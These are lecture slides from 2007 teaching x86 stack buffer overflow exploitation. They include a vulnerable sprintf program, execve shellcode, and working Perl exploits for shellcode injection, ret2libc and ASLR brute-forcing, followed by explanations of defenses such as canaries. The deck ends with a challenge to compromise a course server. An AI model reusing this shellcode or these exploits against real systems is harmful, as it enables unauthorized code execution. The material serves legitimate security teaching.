Exploiting Software: How to 0wn the internet in your free time

Nelson Elhage

November 5, 2007

A vulnerable program

```
#include <stdio.h>
#include <stdlib.h>

void say_hello(char * name) {
    char buf[128];
    sprintf(buf, "Hello, %s!\n", name);
    printf("%s", buf);
}

int main(int argc, char ** argv) {
    if(argc >= 1)
        say_hello(argv[1]);
}
```

The x86 calling convention

- %esp is the stack pointer
- Stack grows down (hardware behavior)
- Arguments on the stack, in reverse order
- %ebp is the "frame pointer", and points to the top of a function's stack frame
- Return value in %eax

Calling Convention, Part II

```
foo(1, 2, 3);
```

```
pushl $3
pushl $2
pushl $1
call  foo
```

The prologue and epilogue

```
foo:
    pushl %ebp
    movl  %esp, %ebp
    subl  $<local space>, %esp
    ...
    movl  %ebp, %esp
    popl  %ebp
    ret
```

The Stack

higher addresses ↑	...	
	argument 2	
	argument 1	
	argument 0	
	return address	
	Saved frame pointer	← %ebp
	Local variables	
	(Last local)	← %esp
stack grows ↓	...	

say_hello stack

higher addresses ↑	...	
	main's stack frame	
	Return address	
	old %ebp	← %ebp
stack grows ↓	buf (128 bytes)	

If we write past the end of buf, we can trash the return address!

Getting a shell

- For the sake of example, we'll just get the target to call `/bin/sh`.
- Use the raw `execve` system call
- `execve(char *file, char ** argv, char ** envp)`
- `execve("/bin/sh", ["/bin/sh", NULL], NULL)`

Linux system call convention

- System calls are software interrupt 0x80
- System call number in `%eax`
- Up to 6 arguments in `%ebx`, `%ecx`, `%edx`, `%esi`, `%edi`, `%ebp`
- Return value in `%eax`
- Syscall number for `execve` (`__NR_execve` from `/usr/include/asm-i386/unistd.h`) is 11

Writing shellcode

- Needs to be position-independent
  - Store data on the stack
- Must not contain NULs
  - Use alternate instructions
  - `movl $0, %eax` ⇒ `xorl %eax, %eax`
  - `movl $0x0b, %eax` ⇒ `movb $0x0b, %al`

Shellcode stack

. . .	
“/bin/sh”	← `%ebx`
`NULL`	
`%ebx`	← `%ecx`, `%esp`

Shellcode

```
movl $0x68732f32,%eax    // " /sh"
shr $8,%eax              // shr to "/sh\0"
pushl %eax
pushl $0x6e69622f        // "/bin"

movl  %esp, %ebx         // %ebx <- "/bin/sh"

xorl %edx, %edx          // %edx <- 0
pushl %edx
pushl %ebx
movl  %esp, %ecx         // %ecx <- <argv>

movl %edx, %eax
addb $0x0b, %al          // %eax <- __NR_execve

int $0x80                // syscall
```

```
$ gcc -c shellcode.S
$ objdump -S shellcode.o
...
00000000 <shellcode>:
   0:   b8 32 2f 73 68          mov    $0x68732f32,%eax
   5:   c1 e8 08                shr    $0x8,%eax
   8:   50                      push   %eax
   9:   68 2f 62 69 6e          push   $0x6e69622f
   e:   89 e3                   mov    %esp,%ebx
  10:   31 d2                   xor    %edx,%edx
  12:   52                      push   %edx
  13:   53                      push   %ebx
  14:   89 e1                   mov    %esp,%ecx
  16:   89 d0                   mov    %edx,%eax
  18:   04 0b                   add    $0xb,%al
  1a:   cd 80                   int    $0x80
```

So the plan is:

Stack	
...	
pointer to `buf`	← Return address
shellcode	
NOPs	← `buf`

We put NOP instructions (0x90) before the shellcode to give us some space for error

hackit.pl

```
#!/usr/bin/perl
my $shellcode = "\xb8\x32\x2f\x73\x68\xc1"
. "\xe8\x08\x50\x68\x2f\x62\x69"
. "\x6e\x89\xe3\x31\xd2\x52\x53"
. "\x89\xe1\x89\xd0\x04\x0b\xcd\x80"
. ("\x90" x 20);

my $landing = hex(`./getsp`) - 200;

my $buffer = ("\x90" x (132
                 - length($shellcode)
                 - length("Hello, ")))
. $shellcode;
$buffer .= pack("V", $landing);

exec("./hello", $buffer);
```

getsp.c

```
#include <stdio.h>

int main() {
    unsigned int esp;
    __asm__("movl %%esp, %0" : "=r"(esp));
    printf("0x%08x", esp);
    return 0;
}
```

- Demo

Non-executable stack

- The attack depended on executing code on the stack
- (Most) Normal programs will never do this
- So why don't we disallow it?
- (Requires hardware support)

- Demo

ret2libc

- New plan
- We don't need to run our own code
- `hello` links libc
- `system()` can spawn /bin/sh for us
- Get `say_hello` to return there instead
- Arguments on the stack – we can fake those!

system()

- Find the address of `system()`

```
$ gdb hello
...
(gdb) b main
Breakpoint 1 at 0x80483ea
(gdb) run
Starting program: hello

Breakpoint 1, 0x080483ea in main ()
(gdb) p system
$1 = {<text variable, no debug info>} 0xf7ec1d80 <system>
(gdb)
```

hackit-noexec.pl

```
#!/usr/bin/perl
my $shell = "/bin/sh;" . (" "x60);
my $shelladdr = hex(`./getsp`) - 250;
my $system = 0xf7ec1d80;

my $buffer = (" " x (132
              - length($shell)
              - length("Hello, ")))
    . $shell;
$buffer .= pack("V", $system);
$buffer .= "A" x 4;      # Fake return addr
$buffer .= pack("V", $shelladdr);

exec("./hello", $buffer);
```

- Demo

Address-Space Layout Randomization

- Both attacks depended on us being able to guess the address of `buf`
- ret2libc needed the address of `system`
- Correct programs won't depend on the specific stack location
- The dynamic linker can resolve `system` references
- So how about we randomize addresses?
- (As a plus, this doesn't need hardware support)

- Demo

- We need to guess two addresses
  - `system()`
  - `buf`
- Approx. 10 bits of randomness in each (more in the stack)
- We can guess one; Guessing both concurrently is too slow.

Playing games with the stack

...	
(addresss)	
(pointer to `ret`)	← `%esp`

Execute a `ret`

Playing games with the stack

...	
(address)	← `%esp`

And we `ret` again.

If there is a pointer to data we control at **any** known offset into the stack, we don't have to guess `buf`!

...	
(pointer to data)	
(padding)	
pointer to `system()`	
(pointer to `ret`)	
...	
(pointer to `ret`)	← `say_hello` return address
...	← `%ebp`
`buff`	

- `int main(int argc, char ** argv)`
- Kernel stores `argv` on the stack
- Put "/bin/sh" in `argv[2]`

Find the offset

```
$ gcc -o hello -g hello.c
$ gdb hello
(gdb) b say_hello
Breakpoint 1 at 0x80483ad: file hello.c, line 6.
(gdb) run
Breakpoint 1, say_hello (name=0x0) at hello.c:6
6           sprintf(buf, "Hello, %s!\n", name);
(gdb) up
#1  0x0804840b in main at hello.c:12
12              say_hello(argv[1]);
(gdb) p ((unsigned)argv - (unsigned)$esp)/4
$1 = 45
```

Find a ret

```
$ objdump -S hello | grep ret
 80482ae:       c3                        ret
 ...
```

Even with ASLR, program code is loaded at a fixed address.

Put it all together

- `argv[1]` should contain enough to overflow `buf`, and then 46 copies of `0x80482ae`, and then the address of `system()`
- `argv[2]` should contain "/bin/sh"
- Guess `system()` is at the old address, and repeat until we're right.
  - libc is always loaded with the same page-alignment

hackit-aslr.pl

```
my $reta    = 0x80482ae;
my $padding = 45 + 1;
my $system  = 0xf7ec1d80;

my $buffer = " "x(128+4 - length("Hello, "));
$buffer .= pack("V", $reta) x $padding;
$buffer .= pack("V", $system);

while(1) {
    system("./hello", $buffer, "/bin/sh");
}
```

- Demo

Aside – `forking` server

- We used the fact that the address space was re-randomized every time
- We can also exploit it if not
- If we have a `fork()`ing server, each child will load libc at the same location
- Search the space of possible libc addresses sequentially
- Halve the expected seach time!

Stack Guards

- Attacks so far depend on overwriting the return address on the stack
- Can we protect it from modification?
- If not, can we detect modification at runtime?

Stack Canaries

- Insert a known value between a function's locals and its return address
- Known as a "canary"
- At return, check the value
- If it's changed, something's wrong!

...	
arguments	
return address	
saved %ebp	← %ebp
canary value	
frame locals	

Canary types

- Two common kinds of canaries
- Terminator canaries
  - StackGuard – `0x000aff0d`
- Random canaries

gcc -fstack-protector

- New in gcc 4.1
- Enabled by default in Ubuntu
- gentoo has a USE flag
- Uses a randomized canary
- Reorders stack variables and arguments

Reordering stack variables

- Don't just have to worry about overwriting return address
- Put buffers above other stack variables in memory
- Copy arguments onto stack frame

Reordering example

```
int foo(int x, int * y) {
    char buf[100];
    int a,b;
    char buf2[10];
    short c;
    ...
}
```

...
y
x
return address
saved %ebp
canary
buf
buf2
a
b
c
x copy
y copy

```
08048404 <say_hello>:
 push    %ebp
 mov     %esp,%ebp
 sub     $0xa8,%esp                        // Normal prologue
 mov     0x8(%ebp),%eax
 mov     %eax,0xffffff6c(%ebp)             // Copy name
 mov     %gs:0x14,%eax
 mov     %eax,0xfffffffc(%ebp)             // Save canary
 ...
 mov     0xfffffffc(%ebp),%eax
 xor     %gs:0x14,%eax                     // Check canary
 je      8048468 <say_hello+0x64>
 call    8048348 <__stack_chk_fail@plt>   // It's a hack!
 leave
 ret
```

- Demo

Separate the stacks

- Another plan: Use two stacks
- Put return addresses on one, locals on another
- Mostly used in research projects at this point

StackShield

- Preprocessor to gcc-generated assembly
- Save return addresses into a reserved area in the heap
- Restore them before return
- Doesn't protect anything else
- Not widely used

XFI

- Microsoft Research
- Uses two stacks
  - "Scoped Stack" – managed in a strict manner
  - "Allocation stack" – used for data accessed through pointers
- Lots of other clever techniques
- Research project, Windows only

Breaking Stack Protection

- No single technique
- Even if we can't get at the return address, we have options
  - With some systems we can still control `%ebp`⇒ control `%esp`when the next frame returns
  - Overwriting local variables is still powerful
  - Even overflowing 1 byte is sometimes enough!
- Requires a solid understanding of the gritty details of the compiler, linker, runtime, kernel...

In Conclusion

- No stack protection system can defeat all attacks
- But you can slow them down
- And they're even more effective in combination

Challenge!

- I've got a vulnerable program running on hackme.mit.edu:20037
- Simple echo server with a stack overflow
- ASLR, but executable stack and no stack guards
- Compromise the box, and mail me the contents of `/cookie`.
- Source and binary available on the website

Challenge – Prize

- SIPB member or prospectives: I'll donate $20 to the W. Sebastian Daher Juice Endowment in your name (A Bronze-level sponsorship)
- Anyone else: Free beverage or candy bar of your choice from Verde's

Questions?

- http://nelhage.com/cluedump/stack/